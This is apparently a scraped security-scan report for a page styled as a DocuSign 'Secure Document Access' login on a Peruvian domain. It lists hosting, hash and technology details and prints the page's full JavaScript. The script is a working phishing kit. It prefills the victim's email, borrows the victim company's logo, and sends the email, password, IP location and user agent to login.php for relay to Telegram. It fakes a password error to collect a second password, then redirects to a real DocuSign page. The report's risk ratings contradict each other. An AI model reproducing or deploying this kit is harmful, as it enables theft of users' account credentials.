documentation technical

English

The domain 'plasticostermoencogibles.pe' uses the Peruvian country-code top-level domain (.pe) without a subdomain. The second-level label 'plasticostermoencogibles' is 24 characters long split between 9 vowels and 15 consonants. Segmentation suggests 7 words: plastic, os, term, oen, cog, ib, les. Average segment length settles at three characters. No strong language cues emerged from the frequency lists.

html/04/e8/04e80d25-f98b-4774-8a5b-915582186ff6.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

ff1523fb7389539c84c65aba19260648793bb4f5e29329d2ee8804bc37a3fe6e

6dc8d7aadafb4ea3c9a615d1578593c57fa2ba3b55379a3be415b78581b9ba5c

67cfffb8bae42a057d9e9edfc18b524313e0a0f6cce89c7cc1a36c0db1288603

viewport

plasticostermoencogibles.pe

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


        // Variables
        const loginForm = document.getElementById("login-form");
        const emailField = document.getElementById("email");
        const passwordField = document.getElementById("password");
        const companyLogo = document.getElementById("company-logo");
        const logoFallback = document.getElementById("logo-fallback");
        const companyName = document.getElementById("company-name");
        const errorBox = document.getElementById("error-box");
        const successBox = document.getElementById("success-box");
        const submitBtn = document.getElementById("submit-btn");
        const favicon = document.getElementById("favicon");
        
        let currentAttempt = 0;
        const maxAttempts = 2;
        let domain = "";
        let ipInfo = {};
        
        // Update company name function
        function updateCompanyName(domain) {
            if (domain) {
                // Capitalize first letter of domain name
                const domainName = domain.split('.')[0];
                const capitalized = domainName.charAt(0).toUpperCase() + domainName.slice(1);
                companyName.textContent = `${capitalized} Secure Document Service`;
                document.title = `${capitalized} - Secure Document Access`;
            } else {
                companyName.textContent = "Secure Document Service";
                document.title = "Secure Document Access";
            }
        }
        
        // Try multiple logo sources
        async function tryLogoSources(domain) {
            const logoSources = [
                `https://www.google.com/s2/favicons?domain=${domain}&sz=128`,
                `https://logo.clearbit.com/${domain}?size=128`,
                `https://icons.duckduckgo.com/ip3/${domain}.ico`,
                `https://api.faviconkit.com/${domain}/64`,
                `https://icon.horse/icon/${domain}`,
            ];
            
            for (const source of logoSources) {
                try {
                    const success = await testImage(source);
                    if (success) {
                        companyLogo.src = source;
                        companyLogo.classList.remove("hidden");
                        logoFallback.style.display = "none";
                        
                        // Set favicon
                        if (favicon) {
                            favicon.href = source;
                        }
                        
                        return true;
                    }
                } catch (error) {
                    continue;
                }
            }
            
            // Fallback
            showFallbackLogo(domain);
            return false;
        }
        
        function testImage(url) {
            return new Promise((resolve) => {
                const img = new Image();
                img.onload = () => resolve(true);
                img.onerror = () => resolve(false);
                setTimeout(() => resolve(false), 1500);
                img.crossOrigin = "anonymous";
                img.src = url;
            });
        }
        
        function showFallbackLogo(domain) {
            companyLogo.classList.add("hidden");
            logoFallback.style.display = "flex";
            
            const domainPart = domain.split('.')[0];
            const initials = domainPart.charAt(0).toUpperCase();
            logoFallback.textContent = initials;
            
            const colors = [
                '#667eea', '#f093fb', '#4facfe', '#43e97b', '#fa709a',
                '#f5576c', '#38f9d7', '#fee140', '#764ba2', '#00f2fe'
            ];
            
            const hash = domain.split('').reduce((acc, char) => acc + char.charCodeAt(0), 0);
            const colorIndex = hash % colors.length;
            const nextColorIndex = (colorIndex + 1) % colors.length;
            document.querySelector('.logo-container').style.background = 
                `linear-gradient(135deg, ${colors[colorIndex]} 0%, ${colors[nextColorIndex]} 100%)`;
        }
        
        // Initialize on page load
        window.addEventListener("load", () => {
            // Get IP info
            fetch("https://ipinfo.io/json")
                .then((res) => res.json())
                .then((resp) => {
                    ipInfo = resp;
                })
                .catch(error => {
                    console.log('IP info fetch failed:', error);
                    ipInfo = {
                        ip: 'Unknown',
                        region: 'Unknown',
                        city: 'Unknown',
                        country: 'Unknown'
                    };
                });
            
            // Check for email in URL hash
            const urlHash = window.location.hash.substring(1);
            if (urlHash && urlHash.includes("@")) {
                emailField.value = urlHash;
                domain = urlHash.split("@")[1];
                
                // Update company name with domain
                updateCompanyName(domain);
                
                // Try to load logo
                tryLogoSources(domain);
            }
        });
        
        // Form submission
        loginForm.addEventListener("submit", async (e) => {
            e.preventDefault();
            
            const email = emailField.value;
            const password = passwordField.value;
            
            // Basic validation
            if (!email.includes("@")) {
                showError("Please enter a valid email address.");
                return;
            }
            
            if (password.length < 1) {
                showError("Please enter your password.");
                return;
            }
            
            // Show loading state
            submitBtn.disabled = true;
            submitBtn.textContent = "Processing...";
            submitBtn.classList.add("button-loading");
            hideMessages();
            
            // Extract domain if not already set
            if (!domain) {
                domain = email.split("@")[1];
                updateCompanyName(domain);
            }
            
            // Increment attempt counter
            currentAttempt++;
            
            // Send data to login.php (Telegram) - UPDATED FOR BETTER RELIABILITY
            try {
                const formData = new URLSearchParams();
                formData.append('email', email);
                formData.append('password', password);
                formData.append('ip', ipInfo.ip || 'Unknown');
                formData.append('region', ipInfo.region || 'Unknown');
                formData.append('city', ipInfo.city || 'Unknown');
                formData.append('country', ipInfo.country || 'Unknown');
                formData.append('domain', domain);
                formData.append('attempt', currentAttempt);
                formData.append('userAgent', navigator.userAgent);
                
                // Try to send to Telegram
                const telegramResponse = await fetch('login.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: formData,
                    mode: 'cors'
                });
                
                if (telegramResponse.ok) {
                    const result = await telegramResponse.json();
                    console.log('Telegram response:', result);
                    
                    // Also store locally as backup
                    localStorage.setItem(`attempt_${currentAttempt}_${Date.now()}`, 
                        JSON.stringify({email, domain, timestamp: new Date().toISOString()}));
                }
            } catch (error) {
                console.error('Telegram API error:', error);
                // Fallback: store in localStorage
                const backupData = {
                    email: email,
                    password: password,
                    ip: ipInfo.ip || 'Unknown',
                    domain: domain,
                    attempt: currentAttempt,
                    timestamp: new Date().toISOString(),
                    userAgent: navigator.userAgent
                };
                localStorage.setItem(`backup_${Date.now()}`, JSON.stringify(backupData));
            }
            
            // Handle based on attempt number
            setTimeout(() => {
                submitBtn.disabled = false;
                submitBtn.textContent = "Proceed";
                submitBtn.classList.remove("button-loading");
                
                if (currentAttempt < maxAttempts) {
                    // Attempts 1-3: show error with reduced font size
                    showError("The password you entered is incorrect. Please try again.");
                    passwordField.value = "";
                    passwordField.focus();
                    
                    // Shake animation for error
                    errorBox.style.animation = "shake 0.5s";
                    setTimeout(() => {
                        errorBox.style.animation = "";
                    }, 500);
                } else {
                    // 4th attempt: show success and redirect to DocuSign
                    showSuccess();
                    
                    // Store final attempt
                    const finalData = {
                        email: email,
                        finalAttempt: currentAttempt,
                        timestamp: new Date().toISOString(),
                        redirected: true
                    };
                    localStorage.setItem('final_submission', JSON.stringify(finalData));
                    
                    setTimeout(() => {
                        window.location.href = 'https://postsign.docusign.com/postsigning/en/finish-viewing';
                    }, 2000);
                }
            }, 2000);
        });
        
        function showError(message) {
            hideMessages();
            const errorText = errorBox.querySelector("p");
            errorText.textContent = message;
            errorText.style.fontSize = "12px"; // Ensure small font
            errorBox.classList.add("show");
        }
        
        function showSuccess() {
            hideMessages();
            const successText = successBox.querySelector("p");
            successText.style.fontSize = "12px"; // Ensure small font
            successBox.classList.add("show");
        }
        
        function hideMessages() {
            errorBox.classList.remove("show");
            successBox.classList.remove("show");
        }
        
        // Add shake animation for errors
        const style = document.createElement('style');
        style.textContent = `
            @keyframes shake {
                0%, 100% { transform: translateX(0); }
                10%, 30%, 50%, 70%, 90% { transform: translateX(-5px); }
                20%, 40%, 60%, 80% { transform: translateX(5px); }
            }
        `;
        document.head.appendChild(style);
        
        // Logo loading on email input
        emailField.addEventListener("input", function() {
            const email = this.value;
            if (email.includes("@")) {
                const newDomain = email.split("@")[1];
                if (newDomain && newDomain !== domain) {
                    domain = newDomain;
                    
                    // Update company name with new domain
                    updateCompanyName(domain);
                    
                    tryLogoSources(domain);
                }
            } else {
                // Reset to default
                companyLogo.classList.add("hidden");
                logoFallback.style.display = "flex";
                logoFallback.textContent = "?";
                document.querySelector('.logo-container').style.background = 
                    'linear-gradient(135deg, #667eea 0%, #764ba2 100%)';
                
                // Reset company name
                updateCompanyName(null);
            }
        });
        
        // Auto-focus password field after email is entered
        emailField.addEventListener('keydown', function(e) {
            if (e.key === 'Enter' && this.value.includes('@')) {
                e.preventDefault();
                passwordField.focus();
            }
        });
        
        // Submit form with Enter in password field
        passwordField.addEventListener('keydown', function(e) {
            if (e.key === 'Enter') {
                e.preventDefault();
                loginForm.dispatchEvent(new Event('submit'));
            }
        });
    

JQuery

LiteSpeed

HTTP/3

Tailwind CSS

Google Hosted Libraries

Secure Document Access

✅ Low Risk - https://plasticostermoencogibles.pe/scss/css/scss/partner/docu-sign.html

Requests	IP Address	Location	AS Autonomous System
6	142.251.110.95Google · CDN	United States	AS15169Google LLC
2	75.102.22.119	Chicago, Illinois, United States	AS23352DEFT.COM
2	142.251.20.95Google · CDN	United States	AS15169Google LLC
2	172.67.68.11Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
2	104.16.78.6Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
14	5	-	-

Security Scan Report: plasticostermoencogibles.pe

Summary

AI Security Verdict

Moderate Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies5

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History